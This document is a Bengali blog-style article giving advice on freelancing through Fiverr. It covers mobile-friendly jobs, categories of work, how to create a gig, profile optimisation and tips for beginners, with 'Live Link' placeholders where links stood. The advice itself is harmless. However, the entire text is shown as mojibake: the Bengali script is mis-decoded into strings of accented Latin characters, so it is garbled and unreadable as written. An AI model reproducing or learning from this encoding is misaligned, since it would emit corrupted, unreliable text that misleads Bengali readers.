āĻ•āϰāĻŖীāϝ় āĻ—ুāϞো āφāĻŽāϰা āχāϤিāĻŽāϧ্āϝেāχ āĻŦিāϏ্āϤাāϰিāϤ āφāϞোāϚāύা āĻ•āϰেāĻ›ি।


āĻĢাāχāĻ­াāϰে āĻ•ি āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻ“āϝ়া āϝাāϝ়:  Live Link 

āĻŽোāĻŦাāχāϞ āĻĻিāϝ়ে āĻ•ি āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰা āϝাāĻŦে

āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āωāĻĒাāϝ় āφāϞোāϚāύা āĻ•āϰাāϰ āĻĒাāĻļাāĻĒাāĻļি āĻŽোāĻŦাāχāϞ āĻĻিāϝ়ে āĻāχ āĻŽাāϰ্āĻ•েāϟ āĻĒ্āϞেāϏে āĻ•োāύ āϧāϰāύেāϰ āĻ•াāϜāĻ—ুāϞো āĻ•āϰা āϝাāϝ় āϚāϞুāύ āĻŦিāϏ্āϤাāϰিāϤ āϜেāύে āύেāĻ“āϝ়া āϝাāĻ•। āĻŦāϰ্āϤāĻŽাāύ āϏāĻŽāϝ়ে āĻ•āĻŽ্āĻĒিāωāϟাāϰ āĻāĻŦং āϞ্āϝাāĻĒāϟāĻĒেāϰ āĻĻাāĻŽ āĻ…āύেāĻ• āĻšāĻ“āϝ়াāϰ āĻ•াāϰāĻŖে āϏāĻŦাāϰ āĻ•িāύ্āϤু āĻ•āĻŽ্āĻĒিāωāϟাāϰ āϞ্āϝাāĻĒāϟāĻĒ āĻ•েāύাāϰ āϏাāĻŽāϰ্āĻĨ্āϝ āĻĨাāĻ•ে āύা। āĻ•িāύ্āϤু āφāĻŽাāĻĻেāϰ āĻĒ্āϰāϤ্āϝেāĻ•েāϰ āĻšাāϤে āϏ্āĻŽাāϰ্āϟāĻĢোāύ āĻĻেāĻ–া āϝাāϝ়। āĻāĻ–āύ āĻŦিāώāϝ় āĻšāϚ্āĻ›ে āφāĻĒāύি āϝāĻĻি āϏ্āĻŽাāϰ্āϟāĻĢোāύেāϰ āϏাāĻšাāϝ্āϝে āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰāϤে āϚাāύ āϤাāĻšāϞে āĻ•োāύ āĻ•াāϜāĻ—ুāϞো āϏāĻšāϜে āĻ•āϰāϤে āĻĒাāϰāĻŦেāύ? āϚāϞুāύ āĻŦিāϏ্āϤাāϰিāϤ āϜেāύে āύেāĻ“āϝ়া āϝাāĻ•।

āϜāύāĻĒ্āϰিāϝ় āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ āĻĢাāχāĻ­াāϰ। āϏ্āĻŽাāϰ্āϟāĻĢোāύেāϰ āϏাāĻšাāϝ্āϝে āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰা āĻ…āύেāĻ•āϟাāχ āĻ•āĻ িāύ। āϤāĻŦুāĻ“ āĻ…āύেāĻ•ে āφāĻ›ে āϏ্āĻŽাāϰ্āϟāĻĢোāύেāϰ āϏাāĻšাāϝ্āϝে āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰāϤে āϚাāχ। āϤāĻŦে āφāĻĒāύি āϝāĻĻি āĻĢাāχāĻ­াāϰে āĻ•্āϝাāϰিāϝ়াāϰ āĻ•āϰāϤে āϚাāύ āϤাāĻšāϞে āϞ্āϝাāĻĒāϟāĻĒ āĻāĻŦং āĻ•āĻŽ্āĻĒিāωāϟাāϰেāϰ āĻ•াāϜ āĻ•āϰা āωāϚিāϤ। āĻĢাāχāĻ­াāϰে āĻ…āύেāĻ• āϏুāϝোāĻ— āϏুāĻŦিāϧা āϰāϝ়েāĻ›ে āϏাāϧাāϰāĻŖāϤ āĻ…āύ্āϝাāύ্āϝ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ āĻāϰ āϚাāχāϤে āĻāĻ–াāύে āϏāĻšāϜেāχ āĻ•াāϜ āĻĒাāĻ“āϝ়া āϝাāϝ়। āϝে āϏāĻšāϜ āĻ•াāϜāĻ—ুāϞো āφāĻ›ে āϏাāϧাāϰāĻŖāϤ āϏেāĻ—ুāϞো āφāĻĒāύি āĻŽোāĻŦাāχāϞেāϰ āϏাāĻšাāϝ্āϝ āĻ•āϰāϤে āĻĒাāϰāĻŦেāύ।

āĻŽোāĻŦাāχāϞেāϰ āϏাāĻšাāϝ্āϝে āĻĢাāχāĻ­াāϰে āϝে āĻ•াāϜāĻ—ুāϞো āĻ•āϰা āϝেāϤে āĻĒাāϰে āĻāĻ—ুāϞোāϰ āĻŽāϧ্āϝে āĻ…āύ্āϝāϤāĻŽ āĻšāϞো āφāϰ্āϟিāĻ•েāϞ āϰাāχāϟিং, āϟ্āϰাāύ্āϏāϞেāĻļāύ, āϜীāĻŦāύāĻŦৃāϤ্āϤাāύ্āϤ āϞেāĻ–া, āĻŦুāĻ• āĻ•āĻ­াāϰ āĻĄিāϜাāχāύ, āĻĄাāϟা āĻāύ্āϟ্āϰি, āϟি āĻļাāϰ্āϟ āĻĄিāϜাāχāύ, āϟ্āϰাāύ্āϏāĻ•্āϰিāĻĒ্āϟ āχāϤ্āϝাāĻĻি। āϤāĻŦে āĻāχ āĻ•াāϜāĻ—ুāϞো āφāϰো āĻŦেāĻļি āĻāĻŦং āĻŦিāϏ্āϤাāϰ āĻ­াāĻŦে āĻ•āϰাāϰ āϜāύ্āϝ āϞ্āϝাāĻĒāϟāĻĒ āĻ…āĻĨāĻŦা āĻ•āĻŽ্āĻĒিāωāϟাāϰ āĻŦ্āϝāĻŦāĻšাāϰ āĻ•āϰāϤে āĻĒাāϰেāύ। āĻ•াāϰāĻŖ āϞ্āϝাāĻĒāϟāĻĒে āĻāĻŦং āĻ•āĻŽ্āĻĒিāωāϟাāϰ āĻŦ্āϝāĻŦāĻšাāϰ āĻ•āϰে āĻ•াāϜ āĻ•āϰāϞে āĻ•োāύ āϧāϰāύেāϰ āϏāĻŽāϏ্āϝাāϰ āϏāĻŽ্āĻŽুāĻ–ীāύ āĻšāϤে āĻšāϝ় āύা।

āĻĢাāχāĻ­াāϰে āĻ•ি āĻ•ি āĻ•াāϜ āĻ•āϰা āϝাāϝ়

āĻĢাāχāĻ­াāϰে āĻ•ি āĻ•ি āĻ•াāϜ āĻ•āϰা āϝাāϝ়? āϝাāϰা āϜাāύে āύা āφāĻŽাāĻĻেāϰ āφāϰ্āϟিāĻ•েāϞ āĻĨেāĻ•ে āϜেāύে āύিāύ। āωāĻĒāϰে āϝে āĻŦিāώāϝ়āĻ—ুāϞো āφāϞোāϚāύা āĻ•āϰা āĻšāϝ়েāĻ›ে āϏেāĻ–াāύ āĻĨেāĻ•ে āφāĻŽāϰা āĻ–ুāĻŦ āĻ­াāϞোāĻ­াāĻŦে āϜাāύāϤে āĻĒেāϰেāĻ›ি āϝে āĻĢাāχāĻ­াāϰ āĻšāϞো āĻŦāϰ্āϤāĻŽাāύ āϏāĻŽāϝ়েāϰ āϜāύāĻĒ্āϰিāϝ় āĻāĻ•āϟি āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ। āϝাāϰা āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āĻ•āϰāϤে āϚাāϝ় āĻāĻŦং āĻāĻ–াāύে āϤাāĻĻেāϰ āĻ•্āϝাāϰিāϝ়াāϰ āĻ—āĻĄ়āϤে āϚাāχ āϏাāϧাāϰāĻŖāϤ āϤাāĻĻেāϰ āϜāύ্āϝ āĻĢাāχāĻ­াāϰ āĻšāϤে āĻĒাāϰে āĻ–ুāĻŦāχ āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āĻāĻ•āϟি āĻŽাāϧ্āϝāĻŽ। āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āĻāϰ āϝে āϏāĻ•āϞ āĻ•াāϜ āϰāϝ়েāĻ›ে āĻĒ্āϰাāϝ় āϏāĻŦāĻ—ুāϞো āĻāĻ–াāύে āĻĒাāĻ“āϝ়া āϝাāϝ়। āĻāĻ—ুāϞোāϰ āĻŽāϧ্āϝে āĻŦেāĻļ āĻ•āϝ়েāĻ•āϟিāϰ āύাāĻŽ āωāϞ্āϞেāĻ– āĻ•āϰা āĻšāϞোঃ

  • āĻ“ā§ŸেāĻŦ āĻĄিāϜাāχāύ
  • āĻ“ā§ŸেāĻŦ āĻĄিāĻ­োāϞāĻĒāĻŽেāύ্āϟ
  • āĻ—্āϰাāĻĢিāĻ•্āϏ āĻĄিāϜাāχāύ
  • āĻĄাāϟা āĻāύ্āϟ্āϰি āĻ•āϰা
  • āĻĒ্āϰোāĻ—াāĻŽিং
  • āϏাāϰ্āϚ āχāύ্āϜিāύ āĻ…āĻĒāϟেāĻŽাāχāϜেāĻļāύ
  • āĻ­াāϰ্āϚু⧟াāϞ āĻāϏিāϏ্āϟেāύ্āϟ
  • āĻĢāϟোāĻ—্āϰাāĻĢি āĻāĻŦং āĻāĻĄিāϟিং
  • āϏāĻĢāϟāĻ“ā§Ÿাāϰ āĻĄিāĻ­োāϞāĻĒāĻŽেāύ্āϟ
  • āϏোāϏাāϞ āĻŽিāĻĄি⧟া āĻŽ্āϝাāύেāϜāĻŽেāύ্āϟ
  • āφāϰ্āϟ āĻĄিāϰেāĻ•āĻļāύ
  • āĻĄিāϜিāϟাāϞ āĻŽাāϰ্āĻ•েāϟিং
  • āϟ্āϰাāύ্āϏāϞেāϟāϰ

āĻ•িāĻ­াāĻŦে āĻĢাāχāĻ­াāϰে āĻ—িāĻ— āĻŦাāύাāϤে āĻšāϝ়

āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āωāĻĒাāϝ় āϜাāύাāϰ āĻĒাāĻļাāĻĒাāĻļি āϝে āϏāĻ•āϞ āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āĻŦিāώāϝ় āϰāϝ়েāĻ›ে āĻāĻ—ুāϞোāϰ āĻŽāϧ্āϝে āĻ…āύ্āϝāϤāĻŽ āĻšāϞো āĻ—িāĻ— āĻ•িāĻ­াāĻŦে āϤৈāϰি āĻ•āϰāϤে āĻšāϝ়? āĻ•াāϰāĻŖ āφāĻŽāϰা āϝāĻ–āύ āĻ•োāύ āĻŦাāϝ়াāϰেāϰ āĻ•াāĻ›ে āĻ•াāϜেāϰ āϜāύ্āϝ āφāĻŦেāĻĻāύ āĻ•āϰāĻŦ āϤāĻ–āύ āĻ—িāĻ— āĻ•াāϜ āĻĒাāχāϝ়ে āĻĻেāĻ“āϝ়াāϰ āϜāύ্āϝ āĻ…āύেāĻ• āĻ•াāϰ্āϝāĻ•āϰী āĻ­ূāĻŽিāĻ•া āϰাāĻ–āĻŦে। āφāĻŽāϰা āϝাāϰা āύāϤুāύ āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻļুāϰু āĻ•āϰেāĻ›ি āϏাāϧাāϰāĻŖāϤ āϤাāϰা āĻ…āύেāĻ•েāχ āϜাāύেāύা āĻ•িāĻ­াāĻŦে āĻāĻ•āϟি āĻĒ্āϰāĻĢেāĻļāύাāϞ āĻĢাāχāĻ­াāϰ āĻ—িāĻ— āϤৈāϰি āĻ•āϰāϤে āĻšāϝ়।

āĻ—িāĻ— āĻšāϞো āĻĒ্āϰāϤিāϟি āĻĢ্āϰিāϞ্āϝাāύ্āϏাāϰেāϰ āĻ…āĻĢাāϰ āĻ•āϰা āĻāĻ•āϟি āϏাāϰ্āĻ­িāϏ āĻāϰ āύাāĻŽ। āĻ…āϰ্āĻĨাā§Ž āĻāĻ•āϜāύ āĻĢ্āϰিāϞ্āϝাāύ্āϏাāϰ āĻ•োāύ āϏাāϰ্āĻ­িāϏ āĻ—ুāϞো āĻŦিāĻ•্āϰি āĻ•āϰে āĻāĻŦং āĻ•āϤ āĻĻাāĻŽে āĻŦিāĻ•্āϰি āĻ•āϰে āĻāĻŦং āĻ•ি āĻ•ি āĻ…āĻĢাāϰ āĻāϰ āϏাāĻĨে āĻ•ি āĻ•ি āϏুāĻŦিāϧা āĻĻেāϝ় āϏাāϧাāϰāĻŖāϤ āϏāĻŦāĻ—ুāϞো āĻāĻ•āϟি āĻĒেāϜেāϰ āĻŽāϧ্āϝে āĻŦāϰ্āĻŖāύা āĻ•āϰা āĻšāϝ় āϝাāĻ•ে āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āĻāϰ āĻ­াāώাāϝ় āĻ—িāĻ— āĻŦāϞা āĻšāϝ়ে āĻĨাāĻ•ে। āĻāĻ•āϟি āĻ—িāĻ—েāϰ āĻŽূāϞ্āϝ ā§Ģ āĻĄāϞাāϰ āĻĨেāĻ•ে āĻļুāϰু āĻ•āϰে āĻšাāϜাāϰ āĻĄāϞাāϰ āĻĒāϰ্āϝāύ্āϤ āĻšāϤে āĻĒাāϰে। āĻāϟি āϤৈāϰি āĻ•āϰাāϰ āĻŦেāĻļ āĻ•িāĻ›ু āĻĒ্āϰāĻĢেāĻļāύাāϞ āύিāϝ়āĻŽ āϰāϝ়েāĻ›ে।

āĻĒ্āϰোāĻĢাāχāϞ āĻ…āĻĒāϟিāĻŽাāχāϜেāĻļāύ -- āϝāĻ–āύ āĻ•োāύ āĻŦাāϝ়াāϰ āφāĻĒāύাāϰ āĻĒ্āϰোāĻĢাāχāϞে āĻĒ্āϰāĻŦেāĻļ āĻ•āϰāĻŦে āϏাāϧাāϰāĻŖāϤ āϤāĻ–āύ āϤাāϰ āĻĒ্āϰāĻĨāĻŽ āύāϜāϰ āϝাāĻŦে āφāĻĒāύাāϰ āĻĒ্āϰোāĻĢাāχāϞ āĻĒিāĻ•āϚাāϰেāϰ āωāĻĒāϰে। āϤাāχ āĻĒ্āϰোāĻĢাāχāϞ āĻĒিāĻ•āϚাāϰ āύিāϰ্āĻŦাāϚāύ āĻ•āϰাāϰ āĻ•্āώেāϤ্āϰে āĻ…āĻŦāĻļ্āϝāχ āϏāϰ্āϤāĻ•āϤা āĻ…āĻŦāϞāĻŽ্āĻŦāύ āĻ•āϰুāύ। āĻŽāύāĻ—āĻĄ়া āϝে āĻ•োāύ āĻĒ্āϰোāĻĢাāχāϞ āĻĒিāĻ•āϚাāϰ āĻĻিāϞে āĻšāĻŦে āύা। āφāĻĒāύাāϰ āĻāĻ•āϟি āĻĒ্āϰāĻĢেāĻļāύাāϞ āĻ›āĻŦি āĻĒ্āϰোāĻĢাāχāϞ āĻĒিāĻ•āϚাāϰ āĻšিāϏেāĻŦে āϏেāϟ āĻ•āϰāϤে āĻšāĻŦে।

āĻĄিāϏāĻ•্āϰিāĻĒāĻļāύāϝুāĻ•্āϤ āĻ•āϰুāύ -- āϏাāϧাāϰāĻŖāϤ āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āϏেāĻ•্āϟāϰে āφāĻĒāύাāϰ āĻĻāĻ•্āώāϤা āĻ•āϤāϟুāĻ•ু āϰāϝ়েāĻ›ে āĻāĻŦং āĻ•োāύ āĻ•োāύ āĻ•াāϜে āφāĻĒāύি āĻĻāĻ•্āώ āĻ āĻŦিāώāϝ়āĻ—ুāϞো āĻ­াāϞোāĻ­াāĻŦে āϜেāύে āĻĄিāϏāĻ•্āϰিāĻĒāĻļāύ āĻŦāĻ•্āϏে āϝুāĻ•্āϤ āĻ•āϰুāύ। āϝে āĻ•াāϜ āĻ—ুāϞো āφāĻĒāύি āϏāĻŦāϚাāχāϤে āĻŦেāĻļি āĻ­াāϞ āĻĒাāϰেāύ āϏেāĻ—ুāϞো āϝুāĻ•্āϤ āĻ•āϰাāϰ āϚেāώ্āϟা āĻ•āϰāĻŦেāύ।

āĻ­িāĻĄিāĻ“ āϝুāĻ•্āϤ āĻ•āϰুāύ -- āĻĢাāχāĻ­াāϰে āĻ—িāĻ— āφāĻ•āϰ্āώāĻŖীāϝ় āĻ•āϰে āϤোāϞাāϰ āϜāύ্āϝ āĻ­িāĻĄিāĻ“ āϝুāĻ•্āϤ āĻ•āϰা āϝেāϤে āĻĒাāϰে। āĻāχ āĻ­িāĻĄিāĻ“āϰ āĻŽাāϧ্āϝāĻŽে āĻ…āĻĢাāϰ āĻāĻŦং āφāĻĒāύি āĻ•োāύ āϧāϰāύেāϰ āĻ•াāϜāĻ—ুāϞো āĻ•āϰāϤে āϚাāύ āϏাāϧাāϰāĻŖāϤ āĻāĻ—ুāϞো āϜাāύিāϝ়ে āĻĻিāϤে āĻĒাāϰেāύ। āĻāϰ āĻĢāϞে āĻŦাāϝ়াāϰāĻĻেāϰ āφāĻĒāύাāϰ āĻ—িāĻ— āĻĒāĻ›āύ্āĻĻ āĻšāϤে āĻĒাāϰে।

āĻŽোāĻŦাāχāϞ āĻĻিāϝ়ে āĻ•ি āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰা āϝাāĻŦে:  Live Link 

āĻĢাāχāĻ­াāϰ āĻŽাāϰ্āĻ•েāϟ āĻĒ্āϞেāϏে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āϟিāĻĒāϏ

āĻĢাāχāĻ­াāϰ āĻŽাāϰ্āĻ•েāϟ āĻĒ্āϞেāϏে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āϟিāĻĒāϏ āϜাāύাāϰ āφāĻ—্āϰāĻš āĻĒ্āϰāĻ•াāĻļ āĻ•āϰে āĻ…āύেāĻ•েāχ। āφāĻŽāϰা āϝাāϰা āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āĻ•āϰāϤে āϚাāχ āϏাāϧাāϰāĻŖāϤ āϤাāĻĻেāϰ āϜāύ্āϝ āĻ…āϤ্āϝāύ্āϤ āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āĻšāϞো āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ। āϤāĻŦে āĻŦāϰ্āϤāĻŽাāύ āϏāĻŽāϝ়ে āĻĒ্āϰāϤিāϟি āĻŽাāϰ্āĻ•েāϟ āĻĒ্āϞেāϏে āĻĢ্āϰিāϞ্āϝাāύ্āϏাāϰāĻĻেāϰ āϏংāĻ–্āϝা āĻ…āύেāĻ• āĻŦেāĻļি। āφāĻĒāύি āϝāĻĻি āĻ­াāϞোāĻ­াāĻŦে āϞāĻ•্āώ্āϝ āĻ•āϰেāύ āϤাāĻšāϞে āĻāĻ–াāύে āĻ•াāϜেāϰ āϚাāχāϤে āĻĢ্āϰিāϞ্āϝাāύ্āϏাāϰāĻĻেāϰ āϏংāĻ–্āϝা āĻŦেāĻļি। āĻ•েāω āĻ­াāϞোāĻ­াāĻŦে āĻ•াāϜ āϜাāύুāĻ• āφāϰ āύা āϜাāύুāĻ• āĻāĻ•াāωāύ্āϟ āĻ–ুāϞে āĻĻেāϝ় āϝাāϰ āĻĢāϞে āĻ…āϤিāϰিāĻ•্āϤ āĻĒāϰিāĻŽাāĻŖে āĻāĻ•াāωāύ্āϟ āĻšāϝ়ে āĻ—িāϝ়েāĻ›ে।

āφāĻĒāύি āϝāĻĻি āĻĢাāχāĻ­াāϰ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏে āĻ•াāϜ āĻ•āϰāϤে āϚাāύ āĻāĻŦং āĻāĻ–াāύে āĻ•াāϜ āĻĒেāϤে āϚাāύ āϤাāĻšāϞে āφāĻĒāύাāĻ•ে āĻŦেāĻļ āĻ•িāĻ›ু āĻŦিāώāϝ় āĻ…āύুāϏāϰāĻŖ āĻ•āϰāϤে āĻšāĻŦে। āφāϰ āĻāχ āĻŦিāώāϝ় āĻ—ুāϞো āφāĻŽāϰা āχāϤিāĻŽāϧ্āϝে āĻĒ্āϰāĻĨāĻŽেāϰ āφāϞোāϚāύাāϝ় āωāϞ্āϞেāĻ– āĻ•āϰেāĻ›ি। āϤāĻŦু āφāĻĒāύাāĻĻেāϰ āϏুāĻŦিāϧাāϰ্āĻĨে āĻ•িāĻ›ু āϏংāĻ•্āώিāĻĒ্āϤ āĻŦিāώāϝ় āϜাāύিāϝ়ে āĻĻিāϤে āϚাāχ। āĻĢাāχāĻ­াāϰ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āϝে āϏāĻ•āϞ āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āωāĻĒাāϝ় āϰāϝ়েāĻ›ে āĻāĻ—ুāϞোāϰ āĻŽāϧ্āϝে āĻ…āύ্āϝāϤāĻŽ āĻšāϞো āĻĒ্āϰোāĻĢাāχāϞ āϏুāύ্āĻĻāϰ āĻ•āϰে āϏাāϜাāύো। āĻ…্āϝাāĻ•াāωāύ্āϟ āϤৈāϰি āĻ•āϰাāϰ āϏāĻŽāϝ় āĻ…āĻŦāĻļ্āϝāχ āύিāϜেāϰ āϏāĻ িāĻ• āϤāĻĨ্āϝāĻ—ুāϞো āĻĻেāĻ“āϝ়া।


āϤাāĻ›াāĻĄ়া āĻĒ্āϰোāĻĢাāχāϞে āϏāĻ•āϞ āϧāϰāύেāϰ āĻŦিāώāϝ় āϏংāϝোāϜāύ āĻ•āϰা āĻŦিāĻļেāώ āĻ•āϰে āφāĻŽāϰা āϝে āϏāĻ•āϞ āĻŦিāώāϝ়ে āĻŦেāĻļি āĻ…āĻ­িāϜ্āĻž āĻāĻŦং āϝে āĻ•াāϜ āĻ—ুāϞো āĻ­াāϞো āĻĒাāϰি āϏাāϧাāϰāĻŖāϤ āϏেāχ āĻ•াāϜ āĻ—ুāϞো āϏāĻŽ্āĻĒāϰ্āĻ•ে āϜাāύাāύো। āύিāϜেāϰ āĻĒ্āϰāĻĢেāĻļāύাāϞ āĻ›āĻŦি āϝুāĻ•্āϤ āĻ•āϰা। āϏাāϧাāϰāĻŖāϤ āφāĻŽāϰা āĻ…āύেāĻ•ে āĻĒ্āϰোāĻĢাāχāϞে āĻŦিāĻ­িāύ্āύ āϧāϰāύেāϰ āĻ›āĻŦি āϝুāĻ•্āϤ āĻ•āϰি āĻ āĻ•াāϜāĻ—ুāϞো āĻĨেāĻ•ে āĻŦেāϰিāϝ়ে āφāϏāϤে āĻšāĻŦে āĻāĻŦং āύিāϜেāϰ āĻĒ্āϰāĻĢেāĻļāύাāϞ āĻ›āĻŦি āϝুāĻ•্āϤ āĻ•āϰāϤে āĻšāĻŦে। āϤাāĻ›াāĻĄ়া āφāϰো āĻāĻ•āϟি āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āĻŦিāώāϝ় āĻšāϞো āĻ…্āϝাāĻ•াāωāύ্āϟ āϤৈāϰি āĻ•āϰাāϰ āĻĒāϰ āĻ­েāϰিāĻĢিāĻ•েāĻļāύ āĻ•āϰāϤে āĻšāĻŦে āĻāĻŦং āύিāϝ়āĻŽিāϤ āĻāĻ•āϟিāĻ­ āĻĨাāĻ•āϤে āĻšāĻŦে।

āĻĢাāχāĻ­াāϰে āύāϤুāύāĻĻেāϰ āϜāύ্āϝ āĻ•āϰāύীāϝ়


āĻĢাāχāĻ­াāϰে āύāϤুāύāĻĻেāϰ āϜāύ্āϝ āĻ•āϰāύীāϝ় āĻ—ুāϞো āϜেāύে āύিāύ। āĻŦāϰ্āϤāĻŽাāύ āϏāĻŽāϝ়ে āĻĒুāϰাāϤāύāĻĻেāϰ āϚাāχāϤে āĻĢ্āϰিāϞ্āϝাāύ্āϏিং āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏেāϰ āύāϤুāύ āϟা āĻŦেāĻļি āĻ•াāϜ āĻ•āϰāϤে āϚাāχ। āϤāĻŦে āĻāĻ•āϟি āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āĻŦিāώāϝ় āĻšāϞো āϝে āĻ•াāϜ āĻ•āϰāϤে āϚাāχāϞে āĻ•িāύ্āϤু āĻ•াāϜ āĻĒাāĻ“āϝ়া āϝাāĻŦে āύা। āĻŦিāĻļেāώ āĻ•āϰে āĻŦāϰ্āϤāĻŽাāύ āϏāĻŽāϝ়ে āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ āĻ—ুāϞোāϤে āĻ…āύেāĻ• āĻŦেāĻļি āĻĒ্āϰāϤিāϝোāĻ—িāϤা āĻšāϝ়ে āĻĨাāĻ•ে। āĻāχ āĻĒ্āϰāϤিāϝোāĻ—িāϤাāĻŽূāϞāĻ• āϏāĻŽāϝ়ে āύāϤুāύāϰা āĻ…āύেāĻ•েāχ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏেāϰ āϟিāĻ•ে āĻĨাāĻ•āϤে āĻĒাāϰে āύা। āĻĒিāĻ•ে āĻĨাāĻ•āϤে āύা āĻĒাāϰো āĻ…āύ্āϝāϤāĻŽ āĻĒ্āϰāϧাāύ āĻ•াāϰāĻŖ āĻšāϞো āϧৈāϰ্āϝ āϧাāϰāĻŖ āĻ•্āώāĻŽāϤা āĻ•āĻŽ āĻāĻŦং āĻĒ্āϰāϤিāϝোāĻ—ী āĻŦেāĻļি।

āφāĻĒāύি āϝāϤāχ āĻ­াāϞো āĻ•াāϜ āĻĒাāϰেāύ āύা āĻ•েāύ āϝāĻĻি āφāĻĒāύাāϰ āĻĒ্āϰāϤিāϝোāĻ—ী āĻŦেāĻļি āĻšāϝ় āϤাāĻšāϞে āĻ•াāϜ āĻĒাāĻ“āϝ়া āĻ•িāύ্āϤু āĻ…āύেāĻ•āϟাāχ āĻ•āĻ িāύ āĻšāĻŦে āĻŦিāĻļেāώ āĻ•āϰে āĻĒ্āϰāĻĨāĻŽ āĻ…āĻŦāϏ্āĻĨাāϝ় āĻ•াāϜ āĻĒাāĻ“āϝ়া āĻ…āύেāĻ• āĻŦেāĻļি āĻ•āĻ িāύ। āϤাāχ āύāϤুāύāĻĻেāϰ āϝে āϏāĻ•āϞ āĻ•āϰāĻŖীāϝ় āϰāϝ়েāĻ›ে āĻāĻ—ুāϞোāϰ āĻŽāϧ্āϝে āĻ…āύ্āϝāϤāĻŽ āĻšāϞো āĻĒ্āϰোāĻĢাāχāϞ āĻ•ে āϏুāύ্āĻĻāϰ āĻ•āϰে āϏাāϜিāϝ়ে āϝে āϏāĻ•āϞ āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āϤāĻĨ্āϝ āϰāϝ়েāĻ›ে āϏāĻŦāĻ—ুāϞো āĻĻিāϝ়ে āĻ…āĻĒেāĻ•্āώা āĻ•āϰāϤে āĻšāĻŦে। āφāĻŽāϰা āĻŦিāϏ্āϤাāϰিāϤ āĻ­াāĻŦে āωāϞ্āϞেāĻ– āĻ•āϰেāĻ›ি āĻ•িāĻ­াāĻŦে āĻĢাāχāĻ­াāϰেāϰ āϜāύ্āϝ āĻ—িāĻ— āϤৈāϰি āĻ•āϰāĻŦেāύ। āĻāĻ­াāĻŦে āφāĻŦেāĻĻāύāĻĒāϤ্āϰ āϤৈāϰি āĻ•āϰে āϧৈāϰ্āϝ āϧাāϰāĻŖ āĻ•āϰāϤে āĻšāĻŦে।

āĻĢাāχāĻ­াāϰে āĻ•্āϝাāϰিāϝ়াāϰ āĻ—āĻĄ়াāϰ āωāĻĒাāϝ়

āĻĢাāχāĻ­াāϰে āĻ•্āϝাāϰিāϝ়াāϰ āĻ—āĻĄ়াāϰ āωāĻĒাāϝ় āϜাāύা āĻĨাāĻ•āϞে āĻ•াāϜ āĻ•āϰা āĻ•িāύ্āϤু āĻ…āύেāĻ•āϟাāχ āϏāĻšāϜ āĻšāϝ়ে āϝাāϝ়। āφāĻŽāϰা āϝাāϰা āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰāϤে āϚাāχ āϏাāϧাāϰāĻŖāϤ āϤাāĻĻেāϰ āϜāύ্āϝ āĻ āĻŦিāώāϝ় āĻ—ুāϞো āĻ…āύেāĻ• āĻŦেāĻļি āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ। āϝাāϰা āĻĢ্āϰিāϞ্āϝাāύ্āϏিংāϝ়েāϰ āĻ•াāϜ āĻĒাāϰে āϏাāϧাāϰāĻŖāϤ āϤাāϰা āĻŦিāĻ­িāύ্āύ āĻŽাāϰ্āĻ•েāϟ āĻĒেāϞে āĻāϏে āϤাāĻĻেāϰ āĻ•্āϝাāϰিāϝ়াāϰ āĻ—āĻĄ়āϤে āϚাāχ। āĻ•িāύ্āϤু āĻŦāϰ্āϤāĻŽাāύ āϏāĻŽāϝ়ে āĻĒ্āϰāϤিāϝোāĻ—ী āĻŦেāĻļি āĻšāĻ“āϝ়াāϰ āĻ•াāϰāĻŖে āϚাāχāϞেāχ āĻ•িāύ্āϤু āĻ āĻŦিāώāϝ়āĻ—ুāϞো āϏāĻŽ্āĻ­āĻŦ āύāϝ়। āϝে āĻ•োāύ āĻŽাāϰ্āĻ•েāϟ āĻĒ্āϞেāϏে āĻ•্āϝাāϰিāϝ়াāϰ āĻ—āĻĄ়াāϰ āϜāύ্āϝ āĻ…āĻŦāĻļ্āϝāχ āφāĻŽাāĻĻেāϰāĻ•ে āĻ—ুāϰুāϤ্āĻŦāĻĒূāϰ্āĻŖ āĻ•িāĻ›ু āĻŦিāώāϝ় āĻ…āύুāϏāϰāĻŖ āĻ•āϰāϤে āĻšāĻŦে।
āĻĢাāχāĻ­াāϰে-āĻ•্āϝাāϰিāϝ়াāϰ-āĻ—āĻĄ়াāϰ-āωāĻĒাāϝ়
